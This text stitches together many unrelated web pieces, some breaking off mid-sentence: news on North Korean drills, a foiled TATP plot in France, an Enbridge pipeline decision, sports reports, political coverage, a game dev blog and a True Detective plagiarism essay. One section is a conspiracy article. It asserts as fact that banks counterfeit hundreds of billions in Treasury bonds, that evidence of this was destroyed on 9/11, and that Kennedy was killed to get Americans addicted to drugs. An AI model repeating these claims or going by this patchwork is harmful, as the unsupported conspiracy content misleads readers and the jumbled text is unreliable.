The fun will continue throughout this Long Summer and for many seasons to come. Thanks, Santa! :-DNorth Korea notified rival South Korea on Tuesday that it planned a live-fire drill near the countries’ disputed western sea boundary, a possible indication of rising frustration in Pyongyang as it unsuccessfully pushes for outside aid.
South Korean Defense Ministry spokesman Kim Min-seok told reporters that military officials would closely monitor the drills. Last month, South Korea fired artillery shells into the North’s waters after North Korean shells from a live-fire drill landed south of the disputed sea boundary.
Both Koreas regularly conduct artillery drills in the Yellow Sea. Analysts have said that Pyongyang’s announcements of live-fire drill plans are an expression of frustration by the impoverished country at making little progress in a recent push to win outside aid.
The drills are sensitive because they are staged near a disputed maritime line separating the countries. The so-called Northern Limit Line was drawn by the U.S.-led U.N. Command without Pyongyang’s consent at the close of the 1950-53 Korean War, which ended with a truce, not a peace treaty, leaving the peninsula still technically in a state of war. North Korea routinely argues that the line should run farther south.
A year after threatening each other with war, the Koreas had restored some trust and held reunions earlier this year of families divided by the war. But ties have since steadily soured. Pyongyang this week launched a sexist rhetorical attack on President Park Geun-hye, calling her to a “despicable prostitute.”
North Korea test-fired two medium-range ballistic missiles in March into the Sea of Japan. Pyongyang had earlier staged a series of shorter-range rocket launches to protest annual springtime military drills by the U.S. and South Korea that Pyongyang says are invasion preparation.
South Korean officials have also warned the North could be preparing for its fourth nuclear test.80’s Arcade Classic – Early Development
Posted by Markus
Here is some early development images of my newest game set to release in the upcoming months. Below is a screenshot and some videos of the early development.
The game mechanics use Tappers run and pour drinks arcade style game play. But I really wanted to enhance the game a bit adding it into a 3d world, having day and nigh cycles, unique bosses, random events, levels, and high scores.
While I have a list of ideas and tasks on my Trello card for the complete game development. I do wish to get a alpha version out on PC and Mac first to allow gamers to play the game and compete online with high scores.
Early Gameplay Of First Level
Core Game Mechanics And Loops
A bit of research and thinking was done to get a grasp of the core game mechanics. I wanted to make sure I had a good core game mechanic that rewarded players when they completed a level. To do this, my first step was creating rewards of coins and building a collection of bartenders.
The player can collect different bartenders either by purchasing them with the coins they acquired (as tips from their bar patrons) or by winning them in a random reward after completing more levels. This will add a nice opportunity to “collect them all” game play for games who like to collect all the extras in the game.
Another added fun I am focusing on is creating an online high score website to allow players to compete around the world. Since I plan on releasing on the PC and Mac first. (Mainly because I want to add more animations and graphics to the game, without being limited to a mobile device). Then will tweak the game and add more features as I get more feedback and ideas.
Rewards For Master Bartenders
If you can overcome the onslaught of patrons that come into your bar then you will be rewarded! I put together this reward system as you see below to randomize what type of reward you will receive. In the image below you can see a playable character which is won by the player. I will have many additional playable characters which will have their own unique quirkiness and sound effects that you will be able to add to your collection.
I will be posting more videos so free free to follow me on YouTube, Dream Bot Twitter and Facebook if your interested! As always, connect with me personally on my personal Twitter account!A pro-life activist holds a sign as he participates in the annual ‘March for Life’ event January 22, 2009 in Washington, D.C. Alex Wong/Getty Images
There’s plenty for women and women-supporters to worry about in federal politics these days—the return of the global gag rule, the promised end to free contraception, Donald Trump’s planned rollback of grants that support survivors of rape and domestic abuse. While these are eminently deserving targets for anxiety and rage, state legislatures are where a lot of the real fun stuff goes down. In case you’ve been too busy scrutinizing Kellyanne Conway’s knees to keep up with the wackadoodle state legislators elected by your fellow Americans, here’s a quick digest of the past week.
First, a few updates on abortion laws making their way from statehouse men’s rooms to women’s reproductive organs: On Monday, the Indiana House of Representatives approved a bill that would compel doctors who provide medical abortions to tell their patients that they can “reverse” the abortion mid-way through by not taking the second of the two medications and getting a progesterone injection instead. The bill’s supporters say women might change their mind halfway through the process. Several states have considered or are currently working on similar bills, which are all based on actual lies, since 0 percent of available evidence supports the claim that a medical abortion can be “reversed.”
While Indiana legislators were getting that done, a senate subcommittee in Iowa chose to advance a “personhood” bill that would endow fetuses with all the rights and protections the Constitution has to offer. This would outlaw abortion in the state, presenting a nifty challenge to Roe v. Wade if courts let it go that far. Lawmakers in the Texas senate also advanced a bill that would allow doctors to withhold information from a pregnant woman about her fetus’s health. If the bill passes, a doctor who learns a fetus has severe disabilities will be permitted to lie to the patient and hide that information from her, especially if the doctor fears the woman will want to terminate her pregnancy. According to San Antonio Current’s Alex Zielinski, most of the bill’s sponsors voted against Medicaid expansion in Texas, which would have made it easier for low-income women to raise a child with disabilities or chronic health care needs without falling into poverty.
In the great state of Mississippi, a committee in the state legislature blocked a bill on Tuesday that would have made it possible for people to unilaterally divorce their spouses if the spouses physically abused them. There are currently 12 reasons in Mississippi why a person might be allowed to divorce her husband without his agreement, including habitual drunkenness and impotency; advocates for the bill say the only current way for a survivor of domestic abuse to end the marriage on her own is to prove “habitual cruel and inhuman treatment.” The Republican chairman of the committee that stopped the bill, Baptist minister Andy Gipson, worried that it would have opened the “floodgates” to way more divorces. Better to have fewer divorces, but more people trapped against their will in marriages that threaten their safety? “If there’s a case of abuse, that person needs to have change of behavior and a serious change of heart,” Gipson said. “Hopefully even in those cases restoration can happen.” Hopefully!A raid on a home in southern France that uncovered a makeshift laboratory with the explosive TATP and other bomb-making ingredients, and led to the arrest of four people including a teenage girl, thwarted an "imminent attack," said the country's top security official.
A police official said the teen arrested by anti-terrorism forces had pledged loyalty to the group Islamic State in Iraq and Syria (ISIS) in a recent video.
People stand in front of an apartment building near Montpellier in southern France where suspects who are believed to have been involved in plotting an attack were arrested by French anti-terror police. (Pascal Guyot/AFP/Getty Images)
Interior Minister Bruno Le Roux said the arrests Friday in three locations in the Montpellier area "thwarted an imminent attack on French soil."
The prosecutor's office said around 70 grams of TATP were seized in the Montpellier-area home of a 20-year-old man, along with a litre each of acetone, oxygenated water and sulfuric acid. TATP, which can be made from readily available materials, was used in the deadly November 2015 attacks in Paris and the March 2016 attack in Brussels carried out by ISIS extremists.
Two other men aged 33 and 26 were arrested along with the girl, 16, according to the prosecutor's office, which handles terrorism investigations in France.
Police say suicide attack planned
A police official, speaking on condition of anonymity, said one of the suspects was believed to be planning a suicide attack, but that the investigation had not yet uncovered a specific target.
The police official said a person in the group had tried to reach Syria in 2015 and was known to intelligence services. The group — notably the girl — attracted new attention with their social media postings, he said.
Prime Minister Bernard Cazeneuve praised the work of anti-terror investigators.
"Faced with the heightened threat, there has been an extremely strong mobilization of our intelligence services to ensure the French are protected to the utmost," said Cazeneuve.
France is still under a state of emergency after several deadly attacks in 2015 and 2016.Pipeline giant Enbridge Pipelines Inc. will be allowed to reverse the flow on a portion of its Line 9 pipeline between Sarnia and Hamilton to flow east, the National Energy Board has decided.
Enbridge applied last August to reverse approximately 194 kilometres of pipeline between the Sarnia Terminal (at Sarnia, Ont.) and the North Westover Pump Station (near Hamilton, Ont.) to flow in an eastward direction.
Federal Labour Minister Lisa Raitt welcomed the board's decision saying it would bring more Western Canadian crude to eastern markets and reduce dependence on imported oil.
"Energy is a matter of national importance and our government welcomes efforts to better utilize our immense energy assets for the benefit of all Canadians," the former natural resources minister said in a written statement Friday.
"Energy is key to supporting the standard of living and quality of life for all Canadians. Over the past five years, the oil and gas industry has contributed an average of $22 billion a year to government revenues... to help pay for everything, from education and health care to roads and bridges," added Raitt, who was speaking on behalf of Natural Resources Minister Joe Oliver.
The board agreed to the pipeline reversal with 15 conditions, most having to do with pipeline integrity.
Safety and environmental concerns
Landowners, environmental and aboriginal groups had the opportunity to express their views with respect to the safety of the pipeline and possible impacts resulting from any possible accident or malfunction during public hearings which took place in London, Ont., in May.
The project involves infrastructure additions and modifications at four existing sites along the pipeline segment.
The reversal is expected to cost $16.9 million.
Meanwhile, Enbridge announced late Friday that it had contained a spill from a pipeline running through Grand Marsh, Wisconsin. A news release said the spill of roughly 1,200 barrels was confined to a field that is part of the pipeline right-of-way.
Two years ago, an Enbridge pipeline in southern Michigan ruptured and spilled some three million litres of crude into wetlands, a creek and the Kalamazoo River. The river was recently re-opened for recreational use.
A report by the National Transportation Safety Board earlier this month likened Enbridge's handling of the spill to that of the "Keystone Kops."
Premiers talk pipelines, national energy strategy
Earlier in the week, P.E.I. Premier Robert Ghiz and New Brunswick Premier David Alward said they would push for a west-to-east pipeline that could carry unrefined bitumen to refineries in eastern Canada.
Prince Edward Island Premier Robert Ghiz, second from left, and New Brunswick Premier David Alward, right, support a west-to-east pipeline. (Andrew Vaughan/Canadian Press)
"New Brunswick is very open to seeing a pipeline come from Alberta to Saint John and the refinery there," Alward said, speaking from a premier's conference in Halifax. "We're open for business and we're looking forward, if there is a business case, to seeing that come here."
The premiers have started to work on a national energy strategy led by Alberta Premier Alison Redford, but B.C. Premier Christy Clark said she's not interested in discussing a national strategy until Redford and the federal government sit down with her to address her conditions for the Northern Gateway pipeline project.
The Northern Gateway project is a proposal by Enbridge to build two pipelines stretching 1,177 kilometres between the Alberta oilsands and Kitimat on B.C.'s west coast.A week ago I noticed that the Treasury published our total increase in Treasury bonds for the past year. It had grown by $1,085,888,854,036.50. Some people mistakenly think that this is the Treasury deficit. Not quite. They have not accounted for the privilege certain Too Big To Jail Banks have which is that one or more of them is allowed to counterfeit US Treasury bonds and pocket the cash.
The Treasury deficit is calculated the old fashioned way. You take federal expenses and subtract revenues. The total Treasury deficit for 2013 cited by Joint Statement of Secretary Lew and OMB Director Burwell on Budget Results for Fiscal Year 2013 was $680 billion.
If you subtract the Budget deficit from the total number of Treasury bonds sold you have: $1,085,888,854,036.50 minus $680 billion which equals $405,888,854,036.50.
So the Bankers are allowed to take more than $405 billion a year from you because they can counterfeit Treasury bonds. The Federal Reserve has 21 primary dealers who handle Treasury transactions through the New York branch of the FED.
Is there any evidence that there are large amounts of fake Treasury bonds floating around? Yes. There is. There is a rather intriguing story from June 2009 about two Japanese men headed to Switzerland who were detained in Italy with 134 billion dollars in US Treasury bonds. The bonds turned out not to be genuine according to the US Treasury. It is illegal to possess counterfeit securities, but the men were sent back to Japan without being charged. Bloomberg did a story a few days later saying this was merely bizarre news.
Dr Jim Willie said the primary dealers and the New York Federal Reserve sold $2.2 trillion in counterfeit Treasury bonds from the Clinton era and another $1.5 trillion more in bonds than the deficits required over the 45 months after 911. So far no politician has done anything to stop this organized counterfeiting.
When the Federal Reserve was created in 1913, Bankers were given the right to charge us interest on money they created out of nothing. If we had a non-interest bearing debt free currency like Lincoln’s Greenbacks, there would be no National Debt and no interest paid on that debt. There ought to be no Treasury bonds and no interest on the debt.
The Bankers have been given a license to steal from you in other areas. Some might remember the controversy of the bullion banks being allowed to lease gold at a very low interest rate and then to sell it five times as a paper certificate. Various countries like Germany and the Netherlands have asked for the return of their gold that had been on deposit in New York and London. The US said it would take 7 years to return Germany’s gold. To date the US has returned 5 tons of gold out of 1,500 tons on deposit. Dr Jim Willie has estimated that there are at least 20,000 tons of paper certificates for gold on deposit at bullion banks for which there is no corresponding bullion.
Bankers have other means of stealing from you. Catherine Austin Fitts says they stole $40 trillion from you.
Catherine was US Housing Commissioner in the first Bush administration. She said she found one block in San Diego that had lost $20 million in HUD loan guarantees made on properties that never existed and did not even have postal street addresses.
On March 22, 2000 Susan Gaffney, Inspector General of Housing and Urban Development, testified before the US House of Representatives that she had to adjust the books 284 times and write off $77.2 billion for the fiscal years 1998 and 1999. A Congressman asked her if she did anything other than adjust the books. She said she did nothing other than adjust the books meaning she did not even bother to recover the stolen money. The Congress has rather low standards when it comes to protecting you from organized theft by Wall Street.
On September 10, 2001 Donald Rumsfeld said he could not trace $2.3 trillion in Department of Defense spending. He promised to do a better job in the future. The future is Now and DOD accounting has not improved. Rabbi Dov Zakheim was the Comptroller of the Pentagon under Rumsfeld. It was his job to find the missing trillions. On the morning of 9-11-2001 the auditors tracing the missing money died. Also on 911 the records that could prove the existence of 2.2 trillion dollars in counterfeit Treasury bonds that had been sold in the Clinton years was destroyed at Cantor Fitzgerald’s offices at One World Trade Center on the 101st to 105th floors. The Securities and Exchange Commission had an office in World Trade Center Tower 7 that had evidence against the Wall Street firms who could have been sued over their fiduciary responsibilities for the ENRON bankruptcy. Too bad all the evidence for the $2.2 trillion in counterfeit Treasury bonds and billions in the ENRON case went up in smoke on 9-11-2001.
Two American financial reporters, Stacy Herbert and Max Keiser, reported the results of their interviews with Bankers in Dubai. The Bankers told them that American military contractors who opened bank accounts in Dubai did so with all cash deposits averaging $2.5 million.There have been consistent reports that the US Department of Defense has let out contracts for buildings, bridges and other projects that are blown up by ‘terrorists’ as soon as they are complete thus allowing the contractor to build another bridge to nowhere.
Afghanistan and the world are awash in opium. I read an interview with an American veteran who had been a sniper. He was told to take out anyone going over his assigned mountain pass except for the man transporting the opium. And you wonder why America is still in Afghanistan and is negotiating to keep a military presence there.
This opium war diplomacy has been a long standing tradition. President Nixon appropriated millions over a period of years to pay Turkish farmers to stop selling their opium illegally because their sales were to the French Corsican mobs. Those men were in competition with the CIA which was bringing heroin into the US from Vietnam and Burma. One of the three reasons for killing President Kennedy was the desire to get white Americans hooked on drugs.
Vietnam was America’s First Opium war and Afghanistan was its second. The Too Big To Jail Bankers launder a trillion dollars in illegal weapons and drug money |
every move. In order to be a great pass-rusher, the defender's tool box must include more than just raw physical ability. It comes down to expanding one's game, preparation and understanding how to set up moves. Even an ultra-talented pass-rusher can't rely too heavily on one move, because he becomes predictable. It's all about taking those natural abilities and getting the most out of them.
On the opposite side of the spectrum, certain prospects enter the league with polished technique that allows them to dominate at a lower level despite a lack of overall athleticism. The then-St. Louis Rams once spent the second overall pick on Chris Long even though he displayed a limited ceiling.
This is what makes Garrett so tempting. He isn't just a dominant force in college; he's far from actually reaching his full potential.
Whatever team eventually selects the Texas A&M defender can expect him to reach his potential because of his demeanor.
Character Counts
Character is more important than ever.
With players like Josh Gordon, Dion Jordan, Martavis Bryant and Johnny Manziel all serving or expected to serve league-mandated suspensions, organizations have placed a heavier emphasis on football character.
Garrett is certainly a character, but in a good way.
"I looked down on the plane, he had some flip-flops on and a Marvel comic book hat," Sumlin said, per the Times-Picayune's Jim Kleinpeter. "So that's what we needed to see out of our toughest guy on defense? He's just a different guy. He's a great young man."
Garrett isn't a typical modern athlete. He shies away from social media. Instead, he prefers to write poetry or read during his downtime. For the most part, he eschews questions about becoming the No. 1 overall pick in 2017 or '18, per Gridiron Now's Kevin Connell:
I just tell them that's in the future. All I can do is handle what's around me at this time right now. That's making sure I have a good season. Keep on working hard during the summer with fall camp coming up. With fall camp coming up, I have to make sure I'm working on my technique so I'm prepared for the first game, and I can make a big impact.
Does he want to be the No. 1 overall pick? "Of course [I do]," he told ESPN.com's Alex Scarborough. "Who doesn't?"
However, the spotlight doesn't appeal to the nation's top returning junior. Yes, he's set lofty goals with the intention of securing 20 sacks this season, but it's part of his drive and certainly not an egotistical statement.
"I'm just like any other guy," Garrett said, per Connell. "I put on my pads and tie my shoes just like anyone else. I just go out there and play my best to the best of my ability. That's it."
Garrett even spent part of his offseason in Haiti with 28 other Texas A&M athletes. The group participated in manual labor to help those in need.
"They taught us how they are so happy with so very little," he said of the experience, per the Fort Worth Star-Telegram.
This is exactly the type of young man an NFL organization gets giddy about when looking for a new face of the franchise. Teams already imagine what they'll have if given an opportunity to draft him.
"I spoke to one personnel executive who compared him to Julius Peppers," NFL Network's Daniel Jeremiah wrote. "I wouldn't put him in that class just yet, but he's still very young, and his best football is ahead of him."
Apparently, Peppers is a far better comparison for Garrett, since it's the same one Clowney received. And why not? The North Carolina product was a tremendous athlete coming out of college and has since been named to the Pro Bowl nine times and earned six All-Pro honors (three first-team nods).
More importantly, Peppers has quietly gone about his business for most of his 14-year career—and still does.
Best of the Best
The 2017 NFL draft class should be absolutely loaded with talented pass-rushers. Auburn's Carl Lawson, Tennessee's Derek Barnett and Alabama's Jonathan Allen and Tim Williams will warrant strong consideration as potential early first-round selections.
But Garrett currently stands as the only choice among defensive prospects worthy of the top overall pick due to his elite physical tools, well-rounded skills, overall game and potential to become the face of a franchise.
Sure, there are possible pitfalls. The Texas A&M defender could suffer an injury, his play could take a step back or he could even decide to remain in school for his senior campaign.
Until then, Garrett is the favorite to become the No. 1 overall pick in April, and NFL teams should be more excited about his potential than when Clowney entered the league.
Whichever franchises are unlucky enough to miss out on Garrett, they'll eventually see him in their nightmares.
Brent Sobleski covers the NFL for Bleacher Report. Follow him on Twitter @brentsobleski.Only a handful of months have passed since Arizona United SC became Phoenix Rising FC, ushering in the next chapter of soccer in the Valley of the Sun, but for those who have watched its ups and downs through the years, Saturday night felt like a long time coming.
Phoenix fell to Toronto FC II 1-0 in front of an announced crowd of 6,890 at Phoenix Rising Soccer Complex, but the environment was electric.
The brand spanking new pop-up venue between Tempe and Scottsdale, built over just 53 days, was buzzing early, though a good many of the sold-out tickets went unused through the first half, due to heavy traffic around the stadium mixed with a game-day operation still finding its feet.
“It’s amazing how quick this has been done and to see so many fans come out for our first game,” said Phoenix midfielder Matt Watson. “It’s really amazing.”
The excitement for the long-awaited season opener was palpable at kickoff, with Rising FC controlling most of the possession early.
A little bit of air went out of the atmosphere, when, in the 8th minute, Toronto’s Ryan Telfer, signed Friday, got on the end of a well-placed ball across the six-yard box from Ben Spencer, beating Phoenix goalkeeper Josh Cohen for the 1-0 lead. Spencer was freed on the play by a sublime through-ball from Jay Chapman, and capitalized by beating Rising’s J.J. Greer to the endline for the assist.
Energized, the Young Reds began to push the home side, racing to each loose ball, and looking generally more comfortable as a unit. Phoenix, for its part, looked at times woefully out of position, with new stars Omar Bravo and Shaun Wright-Phillips failing to blend with teammates on crucial passes in the final third.
“We looked a little bit disjointed,” said Rising FC head coach Frank Yallop. “It’s the first game. It’s out of our way now.”
It wasn’t all Toronto, though. Not by a long shot. In the 33rd minute, Phoenix had an excellent opportunity to equalize when Wright-Phillips made a sliding interception near the center circle and expertly slotted Mike Seth in stride. Seth charged into the box, trying to shake a defender, and perhaps took one touch too many, as the difficult angle proved too great for his thunderous shot.
Seth said after the game that he feels the chemistry on the field can improve.
“We still got to come together as one, but we had a couple opportunities,” he said. “We just needed to capitalize on some of those, going forward from here on out.”
Phoenix began the second half more brightly, but multiple efforts from the run of play fell frustratingly awry, and the 1-0 scoreline would hold.
Luke Rooney, Rising’s dynamic playmaker, sat quite deep in the contest, and while he was solid defensively, he did little in generating attack.
“Luke is another one who needs to get a little fitter and a little sharper in his game,” said Yallop.
Watson too was frustrated with the result, but upbeat about how close Phoenix is to putting the pieces together.
“We have got some stuff to work out definitely,” he said. “But I think the work was there, but that last little calm to find that last pass, that last cross, that last finish was lacking tonight, and I think that will come with time.
“There are a lot of things I could say that we need to work on, but I think if we work on chemistry first then we will find each other in the right spots.”
Rising FC returns to action next Saturday, April 1st, at Real Monarchs SLC.
Lineups
Phoenix Rising FC: J. Cohen; K. Wakasa (80′ – A. Gray), J. Greer, P. Ramage, V. Vasquez; M. Watson, J. Johnson, M. Seth (61′ – C. Cortez); S. Wright-Phillips, L. Rooney (68′ – A. Riggi), O. Bravo
DNP: C. Woszczynski, U. Uzo, R. Hernandez, B. Gavin
Toronto FC II: M. Pais; O. Alseth, B. Aubrey, L. Eckenrode (70′ – B. Okony); B. James, T. Endoh (63′ – J. McCrary), M. Delgado, J. Chapman, R. Edwards; B. Spencer, R. Telfer (87′ – R. John)
DNP: A. Cavalluzzo, A. Osorio, L. FraserSen. Bernie Sanders (I-Vt.) addresses an audience during a March 31 rally in Boston. (Steven Senne/AP)
CHICAGO — One year after his Democratic presidential bid came to an end, Sen. Bernie Sanders (I-Vt.) will rally progressive activists Saturday night at the labor-sponsored People’s Summit, encouraging them to build a popular alternative to Republican policies.
“People have got to understand that we’re at a pivotal moment in American history, and it’s not clear which way we’ll go,” Sanders said in an interview. “There’s an enormous potential to improve peoples’ lives; on the other hand, there’s an opening for an austerity economy where everybody but the top 1 percent gets poorer. I will do my best to make people to understand that this is a 12-month-a-year operation, not about an election every four years.”
The summit is organized by National Nurses United, which spent millions of dollars to back the 2016 Sanders campaign and has since taken up a more prominent role in the political left. Our Revolution, the political group that Sanders spun off from his presidential bid, used the conference to hold meetings with labor unions; the Sanders Institute, launched by the senator’s wife Jane Sanders this week, co-sponsored hours of teach-ins about everything from money in politics to how to overcome movement infighting.
Sanders plans to tell activists that they were already scoring wins despite the Democratic Party’s national defeat, according to speech excerpts provided to The Washington Post.
“Ideas that, just a few years ago, seemed radical and unattainable are now part of Main Street discussion, and in fact, some of them are being implemented across the country as we speak,” Sanders will say. “Today, support for the concept of paid family and medical leave is gaining support. Today, states and communities throughout the country are moving forward to make public colleges and universities tuition free. Today, there is growing support for universal health care and in states like California and New York, we are seeing real legislative progress in the fight to pass a Medicare for All, single payer system.”
Sanders expressed less interest in a sentiment seen on T-shirts and unofficial swag throughout the McCormick Place convention center: a campaign to draft him again for president, either as a Democrat or as the leader of “a People’s Party.”
Asked twice about the draft efforts, Sanders pivoted to talk about the young voters who had come into his 2016 campaign and stuck around to work on left-wing causes. “I’m very appreciative of the support we have, but we’ve got to stay focused,” he said.The long, long battle to provide abortion funding to members of the Peace Corps may be over soon. A House committee advanced a Peace Corps abortion coverage amendment on Monday by a rare voice vote. The bill would allow Corps members to use their federal-funded health insurance for abortions in the cases of rape, incest and mother’s health. It’s a small but important victory; reproductive rights activists who have been campaigning for improved health care and protection for Peace Corps' female volunteers.
Since 1979, Peace Corps members have to pay out of pocket for an abortion, even in cases of rape, incest or when a woman's life is at risk. A rider attached to the federal appropriations provision that funds the Peace Corps bars members from using their health insurance for abortions. For the last two years, President Obama has had to step in and issue emergency abortion funding for the overseas volunteers.
However, federal employees, women who use Medicaid, female armed service members and women in federal prisons can use federal funds for an abortion procedure in the case of rape, incest or endangered health. The new Peace Corps amendment seeks to rectify that double standard.
"It is absolutely unconscionable that female Peace Corps volunteers who are victims of sexual assault, or whose pregnancies endanger their lives, are not afforded the same health care access as virtually all other women with federal health coverage," Rep. Nita Lowey (D-N.Y.), who sponsored the Peace Corps Equity Act of 2014, told The Huffington Post.
Mark Wilson/Getty Images News/Getty Images
The fight to overturn the Peace Corps' abortion ban has been pressing on for years. The rider barring abortion funding has been tacked onto the federal appropriations bill each year — and passed, no questions asked.
In 2013, it was the late Senator Frank Lautenberg (D-N.J.) who took up the challenge, pressing his fellow colleagues to pass the Peace Corps Equity Act of 2013. Following Lautenberg's death, Senator Jeanne Shaheen (D-N.H.) continued his fight.
"Extending basic reproductive health care services to female Peace Corps volunteers is long overdue," Shaheen said in a recent statement. "Peace Corps volunteers face inherent risks living and working abroad."
These "inherent risks" for female Peace Corps volunteers, who make up 63 percent of the Corps, include rape and sexual assault. According to the Peace Corps, 22 female volunteers each year were the victims of rape or attempted rape between 2000 and 2009. More than 1,000 Peace Corps volunteers also reported sexual assaults during that time. The agency admits that incidences of rape and sexually assault are most likely much higher, considering sex crimes tend to go underreported.
A just-released study from the University of Ottawa and Cambridge Reproductive Health Consultants found that of the 362 women who participated, 18 reported a personal abortion experience while in service; 32 women reported a personal experience of rape or sexual assault; 40 participants reported on the rape or sexual assault experience of someone else. The study added that the women had no idea about the Peace Corps anti-abortion policy until after they became pregnant.
David McNew/Getty Images News/Getty Images
The Senate Appropriations Committee finally decide it was time for a change, and approved the Peace Corps act included in the Senate Foreign Operations Appropriations bill in August 2013. The act not only allowed funding for abortions for Peace Corps volunteers, but also repealed the so-called Global Gag Rule, which prohibits family planning funds from being distributed to international health organizations that provide or support abortions. However, the progress was short-lived: the House Appropriations Committee blocked the abortion provision from moving forward.
Now, it looks like the tide is changing. This is the first time both the House and Senate committees have approved of federal abortion funding for Peace Corps volunteers, and also the first time. For the House Appropriations Committee, which is controlled by Republican members, to take the Senate's lead and approve the Peace Corps abortion provision is a major step — and a big win for reproductive rights activists.
Of course, the bill now has to pass the GOP-controlled House, which won't be easy. After all, we are talking about the same House that passed a 20-week abortion ban last summer.
Image: Flickr/National Museum of American HistoryEarlier this week, fansite editors Jon Padgett and Mike Davis got together to present a case that Nic Pizzolatto, the creator and Emmy-nominated writer of True Detective, is a plagiarist.
Citing a grand total of eight lines out of the entire first-season run of True Detective, Padgett and Davis attempt to make a case that Pizzolatto plagiarized one of the greats of Weird Fiction, Thomas Ligotti. What they don’t spend much time noting is the fact that True Detective directly quotes numerous other works of Weird Fiction along with Ligotti—which is exactly what it’s supposed to be doing.
Cultural conversations about plagiarism affect me directly, because when I’m not a journalist, I am an open and unashamed fanfic writer. As a writer of fanfiction, I have been called a white slaver, a pornographer, an identity thief doing “the devil’s work,” and, on a daily basis, a plagiarist.
While there have been many plagiarists in fandom, a few of whom who’ve gone on to have healthy careers as professional writers, fanfiction itself is not plagiarism. The entirety of fanfiction is a process of love and nurturing a pre-existing universe. It’s an expansion of someone else’s writing rather than an erasure, a tearing down.
What first drew me to Weird Fiction as a genre is its link to fanfiction. The phrase “weird fiction” was first used by HP Lovecraft to describe the specific weird and wonderful blend of horror and fantasy he and his small school of fellow writers were engaged in. Lovecraft himself was not the first person to write in the style of what would also be thought of as Lovecraftian fiction. But he was the first to typify it.
One of the characteristics that Lovecraft typified about the genre as a whole was that it was a fluid space, a fictional playground where anyone could show up, grab a theme or a phrase or an idea from one of Lovecraft’s works, and run with it. Writers in the early Weird Fiction circles created fanfiction of one another’s stories as a matter of course, sometimes using and re-using lines from previous weird stories.
In this way, the key parts of True Detective‘s mythology were passed down from the 19th century to the 21st. When Pizzolatto writes, “Time is a flat circle,” he’s not just referring to the internal narrative of the show, but to the way that he himself is deliberately and knowledgeably reviving the Great Old Ones—in this case, Lovecraft and his predecessors—to speak to us once again.
It starts with the legendary literary figure Ambrose Bierce. In 1891, Bierce penned the short story “An Inhabitant of Carcosa.” That story gave us the mythical place name that winds itself through True Detective like a red skein of love. But that story also gave us this passage:
Looking upward, I saw through a sudden rift in the clouds Aldebaran and the Hyades! In all this there was a hint of night — the lynx, the man with the torch, the owl. Yet I saw—I saw even the stars in absence of darkness. I saw, but was apparently not seen nor heard. Under what awful spell did I exist?
The experience the titular inhabitant of Carcosa describes—of seeing black “stars in the absense of darkness”—is one that later showed up in another cultural work you might be familiar with:
When Pizzolatto had Rust Cohle quote Alan Moore’s comic Top Ten almost verbatim in the final episode of the season, he knew exactly what he was doing, and he also knew that Moore himself, who referenced everything from The Three-Penny Opera to Bierce in his works, was trading off the same long-standing practice of allusion, homage, and remixing that serves as Weird Fiction’s calling card.
It’s the same remix culture that Lovecraft himself was a proponent of, the same culture that fandom thrives in today. It’s a culture that Padgett and Davis make no notice of in their attempt to spell out why they feel Pizzolatto plagiarized for those eight lines, and those eight lines only—but not when he borrowed “Carcosa” from Bierce, or “The Yellow King” from Robert Chambers, or the Earl King from Germanic folklore, or the superhero comic Daredevil, or Twin Peaks.
Oh, and it’s the same culture that Thomas Ligotti was participating in when he referenced Bierce’s black stars himself in his short story “Teatro Grottesco:”
[T]he soft black stars have already begun to fill the sky…
The Cambridge definition of plagiarism, from which Davis and Padgett quote, addresses the issue of whether the accused plagiarist intended to deceive.
But it does not address the intent to be transparent—the intent to boldly take your place in a literary circle and join hands across a century-wide and ever-expanding ring of horror writers who have been referencing each other’s works the whole time.
In this case, the transparency lies in the title of the show itself. True Detective lay clues at the feet of its fans, and those fans responded by becoming detectives themselves, scouring the Weird Fiction pantheon for quotes, allusions, and hints as to the patchwork quilt of references Pizzolatto had assembled.
The earliest reference (of many) to Ligotti on Reddit’s True Detective subreddit appeared on January 27, the day after the second episode of True Detective aired, in a discussion about how Ligotti and his short story “The Conspiracy Against the Human Race” were clear influences on Cohle’s philosophy.
The fans who dug up these references behaved as they were meant to, and so did True Detective: it functions exactly how a work of true Weird Fiction is supposed to, as an expansion of the endless (literary) horror that has come before it.
It seems mind-boggling to me that Davis and Padgett, who are both Weird Fiction fans, failed to acknowledge the literary context in which Pizzolatto was writing.
But then, they also deliberately twist their description of the citation that Pizzolatto did do. First, they claim that Pizzolatto never actually referenced or cited Ligotti as a source anywhere in the leadup to True Detective. This isn’t true; he did an entire interview about Ligotti’s influence on his work here in the Wall Street Journal. So they bring up that interview and attempt to discredit it with another interview in which they charge Pizzolatto with being “evasive.”
On the contrary. Here’s what Pizzolatto said in the WSJ, in which he brings Ligotti up on his own, at the very first opportunity:
Speakeasy: If you could recommend any single work of weird fiction and/or horror to people, what would it be? Pizzolatto: That’s tough — on the one hand I want to name one of the blue-chip classics, and on the other I’d like to give an endorsement to people who may not usually get enough attention. I mean, I’d suggest Lovecraft or Poe, but everybody knows them already. More recently, I’d point people in the direction of Thomas Ligotti, Laird Barron, John Langan, Simon Strantzas and others. For fans of the show who’d like to see what contemporary voices have done with Chambers’ “King in Yellow,” I’d point them toward Karl Edward Wagner’s short story “The River of Night’s Dreaming” or the recent anthology “A Season in Carcosa.” When did you first hear of and read Ligotti? I first heard of Ligotti maybe six years ago, when Laird Barron’s first collection alerted me to this whole world of new weird fiction that I hadn’t known existed. I started looking around for the best contemporary stuff to read, and in any discussion of that kind, the name “Ligotti” comes up first. I couldn’t find any of his books in print, and their used prices were prohibitive for me at the time. But I located a couple at libraries, and his nightmare lyricism was enthralling and visionary.
And here’s what he said in his interview with Arkham Digest’s Justin Steele, the one where he was supposedly so cagey:
Sure. That influence is, like everything in True Detective, part of a whole-earth catalog of cultural obsessions, including my own.
Again, Pizzolatto immediately acknowledged that he was homaging Ligotti, along with the entire pantheon of Weird Fiction at his disposal. In other words, Ligotti is just one of the many recipients of Pizzolatto’s Weird Fiction group hug. Pizzolatto said as much himself in avidly denying that anything in True Dective is plagiarism.
But Pizzolatto’s acknowledgment to his own depth to Ligotti isn’t the only thing that Davis and Padgett distorted. As a footnote at the end of their long tirade, they throw out the scathing note that “Noted instances of plagiarism in the literary world far less offensive than Pizzolatto’s have resulted in lawsuits and public humiliation directed at the guilty plagiarist.”
Their citation here is to the notorious incident in which a 17-year-old girl named Kaavya Viswanathan received a widely publicized publishing contract and was then discovered to have plagiarized the majority of her book, including its plotline. Viswanathan directly quoted writers ranging from Salman Rushdie to Meg Cabot, including one passage that was a 14-line-long straight lifting of the work of another chick lit and Young Adult writer, Megan McCafferty.
